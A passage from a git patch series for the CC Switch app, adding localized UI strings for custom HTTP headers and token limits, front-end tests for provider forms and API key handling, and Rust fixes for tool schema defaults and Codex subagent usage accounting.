"Value", + "headerNamePlaceholder": "X-Title", + "headerValuePlaceholder": "CC Switch", + "removeHeader": "Remove header", + "noHeaders": "No custom headers configured", "extraOptions": "Extra Options", "extraOptionsHint": "Configure extra SDK options like timeout, setCacheKey, etc. Values are auto-parsed to appropriate types (number, boolean, etc.).", "addExtraOption": "Add", @@ -1375,6 +1385,9 @@ "extraOptionValuePlaceholder": "600000", "noExtraOptions": "No extra options configured", "noModelOptions": "Model options, click + to add", + "modelLimits": "Token Limits", + "limitContext": "Context", + "limitOutput": "Output", "modelExtraFields": "Model Properties", "noModelExtraFields": "Model properties (variants, cost, etc.), click + to add", "modelExtraFieldKeyPlaceholder": "variants", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 79a338457..4353b5bf1 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1359,6 +1359,7 @@ "modelName": "表示名", "noModels": "モデルが設定されていません", "modelsRequired": "モデルを少なくとも1つ追加してください", + "toggleModelDetails": "モデル詳細を開閉", "providerKey": "プロバイダーキー", "providerKeyPlaceholder": "my-provider", "providerKeyHint": "設定ファイルの一意の識別子です。小文字、数字、ハイフンのみ使用できます。", @@ -1366,6 +1367,15 @@ "providerKeyRequired": "プロバイダーキーを入力してください", "providerKeyDuplicate": "このキーは既に使用されています", "providerKeyInvalid": "無効な形式です。小文字、数字、ハイフンのみ使用できます。", + "headers": "ヘッダー", + "headersHint": "HTTP-Referer や X-Title など、プロバイダーリクエストに付与する任意の HTTP ヘッダーです。", + "addHeader": "ヘッダーを追加", + "headerName": "ヘッダー", + "headerValue": "値", + "headerNamePlaceholder": "X-Title", + "headerValuePlaceholder": "CC Switch", + "removeHeader": "ヘッダーを削除", + "noHeaders": "カスタムヘッダーはありません", "extraOptions": "追加オプション", "extraOptionsHint": "timeout、setCacheKey などの SDK オプションを設定。値は自動的に適切な型(数値、真偽値など)に変換されます。", "addExtraOption": "追加", @@ -1375,6 +1385,9 @@ "extraOptionValuePlaceholder": "600000", "noExtraOptions": "追加オプションはありません", "noModelOptions": "モデルオプション、+ をクリックして追加", + "modelLimits": "トークン制限", + "limitContext": "コンテキスト", + "limitOutput": "出力", "modelExtraFields": "モデルプロパティ", "noModelExtraFields": "モデルプロパティ(variants、cost など)、+ をクリックして追加", "modelExtraFieldKeyPlaceholder": "variants", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 9f09c1175..fb3821a4e 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1331,6 +1331,7 @@ "modelName": "顯示名稱", "noModels": "暫無模型設定", "modelsRequired": "請至少新增一個模型設定", + "toggleModelDetails": "展開或收合模型詳細資料", "providerKey": "供應商標識", "providerKeyPlaceholder": "my-provider", "providerKeyHint": "設定檔中的唯一識別碼,只能使用小寫字母、數字和連字號", @@ -1338,6 +1339,15 @@ "providerKeyRequired": "請填寫供應商標識", "providerKeyDuplicate": "此標識已被使用,請更換", "providerKeyInvalid": "標識格式無效,只能使用小寫字母、數字和連字號", + "headers": "請求標頭", + "headersHint": "隨供應商請求傳送的選用 HTTP 請求標頭,例如 HTTP-Referer 或 X-Title。", + "addHeader": "新增請求標頭", + "headerName": "請求標頭", + "headerValue": "值", + "headerNamePlaceholder": "X-Title", + "headerValuePlaceholder": "CC Switch", + "removeHeader": "刪除請求標頭", + "noHeaders": "暫無自訂請求標頭", "extraOptions": "額外選項", "extraOptionsHint": "設定額外的 SDK 選項,如 timeout、setCacheKey 等。值會自動解析類型(數字、布林值等)。", "addExtraOption": "新增", @@ -1347,6 +1357,9 @@ "extraOptionValuePlaceholder": "600000", "noExtraOptions": "暫無額外選項", "noModelOptions": "模型選項,點擊 + 新增", + "modelLimits": "Token 限制", + "limitContext": "上下文", + "limitOutput": "輸出", "modelExtraFields": "模型屬性", "noModelExtraFields": "模型屬性 (variants, cost 等),點擊 + 新增", "modelExtraFieldKeyPlaceholder": "variants", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 6437a7f39..c6cc6dc7f 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1359,6 +1359,7 @@ "modelName": "显示名称", "noModels": "暂无模型配置", "modelsRequired": "请至少添加一个模型配置", + "toggleModelDetails": "展开或收起模型详情", "providerKey": "供应商标识", "providerKeyPlaceholder": "my-provider", "providerKeyHint": "配置文件中的唯一标识符,只能使用小写字母、数字和连字符", @@ -1366,6 +1367,15 @@ "providerKeyRequired": "请填写供应商标识", "providerKeyDuplicate": "此标识已被使用,请更换", "providerKeyInvalid": "标识格式无效,只能使用小写字母、数字和连字符", + "headers": "请求头", + "headersHint": "随供应商请求发送的可选 HTTP 请求头,如 HTTP-Referer 或 X-Title。", + "addHeader": "添加请求头", + "headerName": "请求头", + "headerValue": "值", + "headerNamePlaceholder": "X-Title", + "headerValuePlaceholder": "CC Switch", + "removeHeader": "删除请求头", + "noHeaders": "暂无自定义请求头", "extraOptions": "额外选项", "extraOptionsHint": "配置额外的 SDK 选项,如 timeout、setCacheKey 等。值会自动解析类型(数字、布尔值等)。", "addExtraOption": "添加", @@ -1375,6 +1385,9 @@ "extraOptionValuePlaceholder": "600000", "noExtraOptions": "暂无额外选项", "noModelOptions": "模型选项,点击 + 添加", + "modelLimits": "Token 限制", + "limitContext": "上下文", + "limitOutput": "输出", "modelExtraFields": "模型属性", "noModelExtraFields": "模型属性 (variants, cost 等),点击 + 添加", "modelExtraFieldKeyPlaceholder": "variants", diff --git a/tests/components/OpenCodeFormFields.test.tsx b/tests/components/OpenCodeFormFields.test.tsx new file mode 100644 index 000000000..bbfa95582 --- /dev/null +++ b/tests/components/OpenCodeFormFields.test.tsx @@ -0,0 +1,203 @@ +import { fireEvent, render, screen } from "@testing-library/react"; +import type { ComponentProps, PropsWithChildren } from "react"; +import { useForm } from "react-hook-form"; +import { describe, expect, it, vi } from "vitest"; +import { OpenCodeFormFields } from "@/components/providers/forms/OpenCodeFormFields"; +import { Form } from "@/components/ui/form"; + +type OpenCodeFormFieldsProps = ComponentProps; + +const FormShell = ({ children }: PropsWithChildren) => { + const form = useForm(); + + return
{children}
; +}; + +const renderOpenCodeForm = ( + overrides: Partial = {}, +) => { + const props: OpenCodeFormFieldsProps = { + npm: "@ai-sdk/openai-compatible", + onNpmChange: vi.fn(), + apiKey: "sk-test", + onApiKeyChange: vi.fn(), + category: "custom", + shouldShowApiKeyLink: false, + websiteUrl: "", + baseUrl: "https://api.example.com/v1", + onBaseUrlChange: vi.fn(), + headers: {}, + onHeadersChange: vi.fn(), + models: { + "kimi-k2": { + name: "Kimi K2", + limit: { context: 1048576, output: 131072 }, + }, + }, + onModelsChange: vi.fn(), + extraOptions: {}, + onExtraOptionsChange: vi.fn(), + ...overrides, + }; + + return { + props, + ...render( + + + , + ), + }; +}; + +const expandFirstModel = () => { + fireEvent.click(screen.getByRole("button", { name: "Toggle model details" })); +}; + +describe("OpenCodeFormFields", () => { + it("surfaces existing provider headers", () => { + renderOpenCodeForm({ + headers: { + "HTTP-Referer": "https://cc-switch.app", + "X-Title": "CC Switch", + }, + }); + + expect(screen.getByDisplayValue("HTTP-Referer")).toBeInTheDocument(); + expect( + screen.getByDisplayValue("https://cc-switch.app"), + ).toBeInTheDocument(); + expect(screen.getByDisplayValue("X-Title")).toBeInTheDocument(); + expect(screen.getByDisplayValue("CC Switch")).toBeInTheDocument(); + }); + + it("updates provider headers", () => { + const onHeadersChange = vi.fn(); + renderOpenCodeForm({ + headers: { "X-Title": "CC Switch" }, + onHeadersChange, + }); + + fireEvent.change(screen.getByDisplayValue("CC Switch"), { + target: { value: "OpenCode" }, + }); + + expect(onHeadersChange).toHaveBeenCalledWith({ + "X-Title": "OpenCode", + }); + }); + + it("shows a blank header name for newly added headers", () => { + const onHeadersChange = vi.fn(); + const { rerender, props } = renderOpenCodeForm({ onHeadersChange }); + + fireEvent.click(screen.getByRole("button", { name: "Add header" })); + + const nextHeaders = onHeadersChange.mock.calls[0][0]; + const headerKey = Object.keys(nextHeaders)[0]; + expect(headerKey).toMatch(/^draft-header:/); + + rerender( + + + , + ); + + expect(screen.getByPlaceholderText("X-Title")).toHaveValue(""); + }); + + it("removes provider headers", () => { + const onHeadersChange = vi.fn(); + renderOpenCodeForm({ + headers: { "X-Title": "CC Switch" }, + onHeadersChange, + }); + + fireEvent.click(screen.getByRole("button", { name: "Remove header" })); + + expect(onHeadersChange).toHaveBeenCalledWith({}); + }); + + it("rejects case-insensitive duplicate header names and restores the input", () => { + const onHeadersChange = vi.fn(); + renderOpenCodeForm({ + headers: { "X-A": "A", "X-B": "B" }, + onHeadersChange, + }); + + const keyInput = screen.getByDisplayValue("X-B"); + fireEvent.change(keyInput, { target: { value: "x-a" } }); + fireEvent.blur(keyInput); + + expect(onHeadersChange).not.toHaveBeenCalled(); + expect(keyInput).toHaveValue("X-B"); + }); + + it("surfaces provider options whose names start with option-", () => { + renderOpenCodeForm({ + extraOptions: { "option-mode": "legacy" }, + }); + + expect(screen.getByDisplayValue("option-mode")).toBeInTheDocument(); + expect(screen.getByDisplayValue("legacy")).toBeInTheDocument(); + }); + + it("surfaces existing model token limits", () => { + renderOpenCodeForm(); + + expandFirstModel(); + + expect(screen.getByLabelText("Context")).toHaveValue(1048576); + expect(screen.getByLabelText("Output")).toHaveValue(131072); + }); + + it("updates model token limits as structured numbers", () => { + const onModelsChange = vi.fn(); + renderOpenCodeForm({ onModelsChange }); + + expandFirstModel(); + fireEvent.change(screen.getByLabelText("Context"), { + target: { value: "2000000" }, + }); + + expect(onModelsChange).toHaveBeenCalledWith({ + "kimi-k2": { + name: "Kimi K2", + limit: { context: 2000000, output: 131072 }, + }, + }); + }); + + it("removes model limit when both fields are cleared", () => { + const onModelsChange = vi.fn(); + const { rerender, props } = renderOpenCodeForm({ onModelsChange }); + + expandFirstModel(); + fireEvent.change(screen.getByLabelText("Context"), { + target: { value: "" }, + }); + + const withoutContext = { + "kimi-k2": { + name: "Kimi K2", + limit: { output: 131072 }, + }, + }; + expect(onModelsChange).toHaveBeenLastCalledWith(withoutContext); + + rerender( + + + , + ); + fireEvent.change(screen.getByLabelText("Output"), { + target: { value: "" }, + }); + + expect(onModelsChange).toHaveBeenLastCalledWith({ + "kimi-k2": { + name: "Kimi K2", + }, + }); + }); +}); diff --git a/tests/hooks/useOpencodeFormState.test.tsx b/tests/hooks/useOpencodeFormState.test.tsx new file mode 100644 index 000000000..536beb294 --- /dev/null +++ b/tests/hooks/useOpencodeFormState.test.tsx @@ -0,0 +1,132 @@ +import { act, renderHook } from "@testing-library/react"; +import { describe, expect, it, vi } from "vitest"; +import { useOpencodeFormState } from "@/components/providers/forms/hooks/useOpencodeFormState"; + +const renderOpencodeFormState = ( + initialSettingsConfig: Record, +) => { + let settingsConfig = JSON.stringify(initialSettingsConfig); + const onSettingsConfigChange = vi.fn((nextConfig: string) => { + settingsConfig = nextConfig; + }); + + const hook = renderHook(() => + useOpencodeFormState({ + appId: "opencode", + initialData: { settingsConfig: initialSettingsConfig }, + onSettingsConfigChange, + getSettingsConfig: () => settingsConfig, + }), + ); + + return { + ...hook, + onSettingsConfigChange, + getSettingsConfig: () => settingsConfig, + }; +}; + +describe("useOpencodeFormState", () => { + it("hydrates provider headers from options", () => { + const { result } = renderOpencodeFormState({ + npm: "@ai-sdk/openai-compatible", + options: { + headers: { + "HTTP-Referer": "https://cc-switch.app", + "X-Title": "CC Switch", + }, + }, + models: {}, + }); + + expect(result.current.opencodeHeaders).toEqual({ + "HTTP-Referer": "https://cc-switch.app", + "X-Title": "CC Switch", + }); + }); + + it("writes provider headers to options", () => { + const { result, getSettingsConfig } = renderOpencodeFormState({ + npm: "@ai-sdk/openai-compatible", + options: {}, + models: {}, + }); + + act(() => { + result.current.handleOpencodeHeadersChange({ + "X-Title": "CC Switch", + }); + }); + + expect(JSON.parse(getSettingsConfig()).options.headers).toEqual({ + "X-Title": "CC Switch", + }); + }); + + it("removes options.headers when all provider headers are removed", () => { + const { result, getSettingsConfig } = renderOpencodeFormState({ + npm: "@ai-sdk/openai-compatible", + options: { + headers: { + "X-Title": "CC Switch", + }, + }, + models: {}, + }); + + act(() => { + result.current.handleOpencodeHeadersChange({}); + }); + + expect(JSON.parse(getSettingsConfig()).options.headers).toBeUndefined(); + }); + + it("preserves legitimate headers whose names start with header-", () => { + const { result, getSettingsConfig } = renderOpencodeFormState({ + npm: "@ai-sdk/openai-compatible", + options: { + headers: { + "header-version": "v1", + "X-Title": "Old", + }, + }, + models: {}, + }); + + act(() => { + result.current.handleOpencodeHeadersChange({ + "header-version": "v1", + "X-Title": "New", + }); + }); + + expect(JSON.parse(getSettingsConfig()).options.headers).toEqual({ + "header-version": "v1", + "X-Title": "New", + }); + }); + + it("preserves legitimate options whose names start with option-", () => { + const { result, getSettingsConfig } = renderOpencodeFormState({ + npm: "@ai-sdk/openai-compatible", + options: { + "option-mode": "legacy", + timeout: 100, + }, + models: {}, + }); + + act(() => { + result.current.handleOpencodeExtraOptionsChange({ + "option-mode": "legacy", + timeout: "200", + "draft-option:123": "", + }); + }); + + expect(JSON.parse(getSettingsConfig()).options).toEqual({ + "option-mode": "legacy", + timeout: 200, + }); + }); +}); From ded0b63a8ec45fbdc20f8add4cbdb0532ceda9d2 Mon Sep 17 00:00:00 2001 From: Komi Date: Sat, 11 Jul 2026 16:57:46 +0800 Subject: [PATCH 44/73] fix: handle missing provider keys and tool schema types (#5069) * fix: handle missing api keys and tool schema types * fix: preserve nested tool schemas --------- Co-authored-by: Jason --- src-tauri/src/proxy/providers/transform.rs | 89 ++++++++++++++++++- .../proxy/providers/transform_responses.rs | 41 +++++++++ .../providers/forms/hooks/useApiKeyState.ts | 16 ++-- tests/hooks/useApiKeyState.test.tsx | 67 ++++++++++++++ 4 files changed, 201 insertions(+), 12 deletions(-) create mode 100644 tests/hooks/useApiKeyState.test.tsx diff --git a/src-tauri/src/proxy/providers/transform.rs b/src-tauri/src/proxy/providers/transform.rs index c13b26cd1..6947e2493 100644 --- a/src-tauri/src/proxy/providers/transform.rs +++ b/src-tauri/src/proxy/providers/transform.rs @@ -490,9 +490,21 @@ fn convert_message_to_openai( Ok(result) } -/// 清理 JSON schema(移除不支持的 format) -pub fn clean_schema(mut schema: Value) -> Value { +/// 清理工具参数的 JSON schema,并为根 schema 补齐 OpenAI 要求的 object 类型。 +pub fn clean_schema(schema: Value) -> Value { + clean_schema_inner(schema, true) +} + +fn clean_schema_inner(mut schema: Value, is_root: bool) -> Value { if let Some(obj) = schema.as_object_mut() { + let missing_type = is_root && !obj.contains_key("type"); + if missing_type { + obj.insert("type".to_string(), json!("object")); + } + if missing_type && !obj.contains_key("properties") { + obj.insert("properties".to_string(), json!({})); + } + // 移除 "format": "uri" if obj.get("format").and_then(|v| v.as_str()) == Some("uri") { obj.remove("format"); @@ -501,12 +513,12 @@ pub fn clean_schema(mut schema: Value) -> Value { // 递归清理嵌套 schema if let Some(properties) = obj.get_mut("properties").and_then(|v| v.as_object_mut()) { for (_, value) in properties.iter_mut() { - *value = clean_schema(value.clone()); + *value = clean_schema_inner(value.clone(), false); } } if let Some(items) = obj.get_mut("items") { - *items = clean_schema(items.clone()); + *items = clean_schema_inner(items.clone(), false); } } schema @@ -831,6 +843,75 @@ mod tests { let result = anthropic_to_openai(input).unwrap(); assert_eq!(result["tools"][0]["type"], "function"); assert_eq!(result["tools"][0]["function"]["name"], "get_weather"); + assert_eq!( + result["tools"][0]["function"]["parameters"]["type"], + json!("object") + ); + assert_eq!( + result["tools"][0]["function"]["parameters"]["properties"]["location"]["type"], + json!("string") + ); + } + + #[test] + fn test_anthropic_to_openai_defaults_missing_tool_schema_type() { + let input = json!({ + "model": "claude-3-opus", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "What's the weather?"}], + "tools": [{ + "name": "get_weather", + "description": "Get weather info", + "input_schema": {"properties": {"location": {"type": "string"}}} + }] + }); + + let result = anthropic_to_openai(input).unwrap(); + let parameters = &result["tools"][0]["function"]["parameters"]; + assert_eq!(parameters["type"], json!("object")); + assert_eq!( + parameters["properties"]["location"]["type"], + json!("string") + ); + } + + #[test] + fn test_anthropic_to_openai_defaults_empty_tool_schema() { + let input = json!({ + "model": "claude-3-opus", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "Do work"}], + "tools": [{"name": "do_work", "input_schema": {}}] + }); + + let result = anthropic_to_openai(input).unwrap(); + let parameters = &result["tools"][0]["function"]["parameters"]; + assert_eq!(parameters, &json!({"type": "object", "properties": {}})); + } + + #[test] + fn test_clean_schema_only_defaults_root_to_object() { + let schema = json!({ + "properties": { + "nullable_value": { + "anyOf": [{"type": "string"}, {"type": "null"}] + }, + "list": { + "items": {"type": "string"} + } + } + }); + + let result = clean_schema(schema); + assert_eq!(result["type"], json!("object")); + assert_eq!( + result["properties"]["nullable_value"], + json!({"anyOf": [{"type": "string"}, {"type": "null"}]}) + ); + assert_eq!( + result["properties"]["list"], + json!({"items": {"type": "string"}}) + ); } #[test] diff --git a/src-tauri/src/proxy/providers/transform_responses.rs b/src-tauri/src/proxy/providers/transform_responses.rs index d7379cd6e..e11d3a317 100644 --- a/src-tauri/src/proxy/providers/transform_responses.rs +++ b/src-tauri/src/proxy/providers/transform_responses.rs @@ -770,10 +770,51 @@ mod tests { assert_eq!(result["tools"][0]["type"], "function"); assert_eq!(result["tools"][0]["name"], "get_weather"); assert!(result["tools"][0].get("parameters").is_some()); + assert_eq!(result["tools"][0]["parameters"]["type"], json!("object")); + assert_eq!( + result["tools"][0]["parameters"]["properties"]["location"]["type"], + json!("string") + ); // input_schema should not appear assert!(result["tools"][0].get("input_schema").is_none()); } + #[test] + fn test_anthropic_to_responses_defaults_missing_tool_schema_type() { + let input = json!({ + "model": "gpt-4o", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "Weather?"}], + "tools": [{ + "name": "get_weather", + "description": "Get weather info", + "input_schema": {"properties": {"location": {"type": "string"}}} + }] + }); + + let result = anthropic_to_responses(input, None, false, false).unwrap(); + let parameters = &result["tools"][0]["parameters"]; + assert_eq!(parameters["type"], json!("object")); + assert_eq!( + parameters["properties"]["location"]["type"], + json!("string") + ); + } + + #[test] + fn test_anthropic_to_responses_defaults_empty_tool_schema() { + let input = json!({ + "model": "gpt-4o", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "Do work"}], + "tools": [{"name": "do_work", "input_schema": {}}] + }); + + let result = anthropic_to_responses(input, None, false, false).unwrap(); + let parameters = &result["tools"][0]["parameters"]; + assert_eq!(parameters, &json!({"type": "object", "properties": {}})); + } + #[test] fn test_anthropic_to_responses_tool_choice_any_to_required() { let input = json!({ diff --git a/src/components/providers/forms/hooks/useApiKeyState.ts b/src/components/providers/forms/hooks/useApiKeyState.ts index 8b4c87626..1ccdb3800 100644 --- a/src/components/providers/forms/hooks/useApiKeyState.ts +++ b/src/components/providers/forms/hooks/useApiKeyState.ts @@ -60,15 +60,12 @@ export function useApiKeyState({ initialConfig || "{}", key.trim(), { - // 最佳实践:仅在"新增模式"且"非官方类别"时补齐缺失字段 - // - 新增模式:selectedPresetId !== null - // - 非官方类别:category !== undefined && category !== "official" + // 最佳实践:仅在"非官方/非云厂商类别"时补齐缺失字段 // - 官方类别:不创建字段(UI 也会禁用输入框) - // - 未传入 category:不创建字段(避免意外行为) + // - 云厂商类别:通常使用专用鉴权字段,不自动创建 Anthropic key + // - 未传入 category:按历史导入/自定义 provider 处理,允许补齐 createIfMissing: - selectedPresetId !== null && - category !== undefined && - category !== "official", + category !== "official" && category !== "cloud_provider", appType, apiKeyField, }, @@ -90,10 +87,13 @@ export function useApiKeyState({ (config: string, isEditMode: boolean) => { return ( selectedPresetId !== null || + (isEditMode && + category !== "official" && + category !== "cloud_provider") || (isEditMode && hasApiKeyField(config, appType)) ); }, - [selectedPresetId, appType], + [selectedPresetId, category, appType], ); return { diff --git a/tests/hooks/useApiKeyState.test.tsx b/tests/hooks/useApiKeyState.test.tsx new file mode 100644 index 000000000..791e1f199 --- /dev/null +++ b/tests/hooks/useApiKeyState.test.tsx @@ -0,0 +1,67 @@ +import { act, renderHook } from "@testing-library/react"; +import { describe, expect, it, vi } from "vitest"; +import { useApiKeyState } from "@/components/providers/forms/hooks/useApiKeyState"; + +describe("useApiKeyState", () => { + it("shows and creates Claude API key for uncategorized edit providers", () => { + const onConfigChange = vi.fn(); + const initialConfig = JSON.stringify({ env: {} }, null, 2); + + const { result } = renderHook(() => + useApiKeyState({ + initialConfig, + onConfigChange, + selectedPresetId: null, + category: undefined, + appType: "claude", + }), + ); + + expect(result.current.showApiKey(initialConfig, true)).toBe(true); + + act(() => { + result.current.handleApiKeyChange("sk-test"); + }); + + const updated = JSON.parse(onConfigChange.mock.calls.at(-1)?.[0]); + expect(updated.env.ANTHROPIC_AUTH_TOKEN).toBe("sk-test"); + }); + + it("keeps official and cloud provider edit behavior conservative", () => { + const initialConfig = JSON.stringify({ env: {} }, null, 2); + const officialConfigChange = vi.fn(); + + const official = renderHook(() => + useApiKeyState({ + initialConfig, + onConfigChange: officialConfigChange, + selectedPresetId: null, + category: "official", + appType: "claude", + }), + ); + expect(official.result.current.showApiKey(initialConfig, true)).toBe(false); + act(() => { + official.result.current.handleApiKeyChange("sk-official"); + }); + expect(officialConfigChange).toHaveBeenLastCalledWith(initialConfig); + + const cloudProviderConfigChange = vi.fn(); + const cloudProvider = renderHook(() => + useApiKeyState({ + initialConfig, + onConfigChange: cloudProviderConfigChange, + selectedPresetId: null, + category: "cloud_provider", + appType: "claude", + }), + ); + expect(cloudProvider.result.current.showApiKey(initialConfig, true)).toBe( + false, + ); + act(() => { + cloudProvider.result.current.handleApiKeyChange("sk-cloud"); + }); + expect(cloudProviderConfigChange).toHaveBeenLastCalledWith(initialConfig); + }); +}); From f39d463c442e705727531b85f2db98e00ccaf11e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=99=BD=E5=96=B5=E5=96=B5=E5=96=B5=E5=96=B5?= <3299332656@qq.com> Date: Sat, 11 Jul 2026 20:11:14 +0800 Subject: [PATCH 45/73] =?UTF-8?q?fix(usage):=20=E4=BF=AE=E5=A4=8D=20Codex?= =?UTF-8?q?=20=E5=AD=90=E4=BB=A3=E7=90=86=E4=BD=BF=E7=94=A8=E9=87=8F?= =?UTF-8?q?=E6=9C=AA=E8=AE=A1=E5=85=A5=E7=BB=9F=E8=AE=A1=20(#5187)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(usage): count Codex subagent session tokens * fix(usage): address Codex subagent review feedback * fix(usage): preserve Codex migration history * fix(usage): harden Codex subagent migration * fix(usage): reimport late Codex subagents * fix(usage): guard late Codex rollup reimport * refactor(usage): simplify Codex subagent accounting fix --- src-tauri/src/services/session_usage_codex.rs | 402 +++++++++++++++++- 1 file changed, 385 insertions(+), 17 deletions(-) diff --git a/src-tauri/src/services/session_usage_codex.rs b/src-tauri/src/services/session_usage_codex.rs index f23be19c3..5757f9ded 100644 --- a/src-tauri/src/services/session_usage_codex.rs +++ b/src-tauri/src/services/session_usage_codex.rs @@ -9,7 +9,7 @@ //! ``` //! //! ## 解析的事件类型 -//! - `session_meta` → 提取 session_id +//! - `session_meta` → 提取唯一 thread_id(子代理的 session_id 指向父线程) //! - `turn_context` → 提取当前 model //! - `event_msg` (type=token_count) → 提取累计 token 用量,计算 delta @@ -28,6 +28,8 @@ use std::io::{BufRead, BufReader}; use std::path::{Path, PathBuf}; use std::time::SystemTime; +const CODEX_THREAD_REQUEST_ID_PREFIX: &str = "codex_session:thread-v1"; + /// 累计 token 用量(跟踪 total_token_usage 字段) #[derive(Debug, Clone, Default)] struct CumulativeTokens { @@ -52,10 +54,162 @@ impl DeltaTokens { /// 单文件解析时的运行状态 struct FileParseState { - session_id: Option, + thread_id: Option, current_model: String, prev_total: Option, event_index: u32, + history_replay_boundary: Option, +} + +/// Codex 子代理日志中的 `id` 是当前线程的唯一 ID,`session_id` 则指向父线程。 +#[derive(Debug, Clone, PartialEq, Eq)] +struct CodexSessionIdentity { + thread_id: String, + carries_history_snapshot: bool, +} + +fn parse_codex_session_identity(payload: &serde_json::Value) -> Option { + let thread_id = payload + .get("id") + .or_else(|| payload.get("thread_id")) + .or_else(|| payload.get("threadId")) + .or_else(|| payload.get("session_id")) + .or_else(|| payload.get("sessionId")) + .and_then(|value| value.as_str())? + .to_string(); + let session_id = payload + .get("session_id") + .or_else(|| payload.get("sessionId")) + .and_then(|value| value.as_str()); + let carries_history_snapshot = payload + .get("forked_from_id") + .and_then(|value| value.as_str()) + .is_some_and(|value| !value.is_empty()) + || payload + .get("source") + .and_then(|source| source.get("subagent")) + .is_some() + || session_id.is_some_and(|session_id| session_id != thread_id); + + Some(CodexSessionIdentity { + thread_id, + carries_history_snapshot, + }) +} + +fn read_codex_session_identity(file_path: &Path) -> Option { + let file = fs::File::open(file_path).ok()?; + + for line in BufReader::new(file).lines() { + let Ok(line) = line else { + continue; + }; + if !line.contains("\"session_meta\"") { + continue; + } + let Ok(value) = serde_json::from_str::(&line) else { + continue; + }; + if value.get("type").and_then(|value| value.as_str()) != Some("session_meta") { + continue; + } + if let Some(identity) = value.get("payload").and_then(parse_codex_session_identity) { + return Some(identity); + } + } + + None +} + +/// fork/子代理日志会先重放父线程历史,再以接管事件开始当前线程。 +/// 返回接管事件所在行;此前的 token_count 只用于恢复累计值基线。 +fn codex_history_replay_boundary( + file_path: &Path, + identity: Option<&CodexSessionIdentity>, +) -> Option { + if !identity.is_some_and(|identity| identity.carries_history_snapshot) { + return None; + } + + let file = fs::File::open(file_path).ok()?; + for (index, line) in BufReader::new(file).lines().enumerate() { + let Ok(line) = line else { + continue; + }; + if !line.contains("\"thread_settings_applied\"") + && !line.contains("\"inter_agent_communication") + { + continue; + } + let Ok(value) = serde_json::from_str::(&line) else { + continue; + }; + let Some(event_type) = value.get("type").and_then(|value| value.as_str()) else { + continue; + }; + let is_replay_boundary = event_type.starts_with("inter_agent_communication") + || (event_type == "event_msg" + && value + .get("payload") + .and_then(|payload| payload.get("type")) + .and_then(|value| value.as_str()) + == Some("thread_settings_applied")); + if is_replay_boundary { + return Some(index as i64 + 1); + } + } + + None +} + +fn is_history_snapshot_event(state: &FileParseState, line_offset: i64) -> bool { + state + .history_replay_boundary + .is_some_and(|boundary| line_offset < boundary) +} + +fn get_codex_sync_state(db: &Database, file_path: &Path) -> Result<(i64, i64), AppError> { + let file_path_str = file_path.to_string_lossy().to_string(); + let state = get_sync_state(db, &file_path_str)?; + if state != (0, 0) + || file_path + .parent() + .and_then(Path::file_name) + .and_then(|name| name.to_str()) + != Some("archived_sessions") + { + return Ok(state); + } + + let Some(file_name) = file_path.file_name().and_then(|name| name.to_str()) else { + return Ok(state); + }; + let slash_suffix = format!("/{file_name}"); + let backslash_suffix = format!("\\{file_name}"); + let conn = lock_conn!(db.conn); + let inherited = conn.query_row( + "SELECT last_modified, last_line_offset + FROM session_log_sync + WHERE file_path <> ?1 + AND (substr(file_path, -length(?2)) = ?2 + OR substr(file_path, -length(?3)) = ?3) + ORDER BY last_line_offset DESC, last_modified DESC + LIMIT 1", + rusqlite::params![file_path_str, slash_suffix, backslash_suffix], + |row| Ok((row.get::<_, i64>(0)?, row.get::<_, i64>(1)?)), + ); + drop(conn); + + match inherited { + Ok(inherited) => { + update_sync_state(db, &file_path_str, inherited.0, inherited.1)?; + Ok(inherited) + } + Err(rusqlite::Error::QueryReturnedNoRows) => Ok(state), + Err(error) => Err(AppError::Database(format!( + "查询 Codex 归档文件同步状态失败: {error}" + ))), + } } /// 归一化 Codex 模型名 @@ -238,23 +392,27 @@ fn sync_single_codex_file(db: &Database, file_path: &Path) -> Result<(u32, u32), let file_modified = metadata_modified_nanos(&metadata); // 检查同步状态 - let (last_modified, last_offset) = get_sync_state(db, &file_path_str)?; + let (last_modified, last_offset) = get_codex_sync_state(db, file_path)?; // 文件未变化则跳过 if file_modified <= last_modified { return Ok((0, 0)); } + let identity = read_codex_session_identity(file_path); + // 打开文件逐行解析 let file = fs::File::open(file_path).map_err(|e| AppError::Config(format!("无法打开文件: {e}")))?; let reader = BufReader::new(file); + let history_replay_boundary = codex_history_replay_boundary(file_path, identity.as_ref()); let mut state = FileParseState { - session_id: None, + thread_id: identity.map(|identity| identity.thread_id), current_model: "unknown".to_string(), prev_total: None, event_index: 0, + history_replay_boundary, }; let mut line_offset: i64 = 0; @@ -296,16 +454,11 @@ fn sync_single_codex_file(db: &Database, file_path: &Path) -> Result<(u32, u32), }; match event_type { - "session_meta" if state.session_id.is_none() => { - let payload = value.get("payload"); - state.session_id = payload - .and_then(|p| { - p.get("session_id") - .or_else(|| p.get("sessionId")) - .or_else(|| p.get("id")) - }) - .and_then(|v| v.as_str()) - .map(|s| s.to_string()); + "session_meta" if state.thread_id.is_none() => { + state.thread_id = value + .get("payload") + .and_then(parse_codex_session_identity) + .map(|identity| identity.thread_id); } "turn_context" => { if let Some(payload) = value.get("payload") { @@ -383,16 +536,28 @@ fn sync_single_codex_file(db: &Database, file_path: &Path) -> Result<(u32, u32), continue; // 跳过 task 边界的零 delta 事件 } + // 所有非零事件都占据稳定序号,包括已同步事件与 replay 快照。 state.event_index += 1; + // replay 快照更新了 prev_total,但不是当前线程的新用量。 + if is_history_snapshot_event(&state, line_offset) { + if line_offset > last_offset { + skipped += 1; + } + continue; + } + // 跳过已处理的行(但仍需解析以恢复状态) if line_offset <= last_offset { continue; } // 生成唯一 request_id - let session_id_str = state.session_id.as_deref().unwrap_or("unknown"); - let request_id = format!("codex_session:{}:{}", session_id_str, state.event_index); + let thread_id = 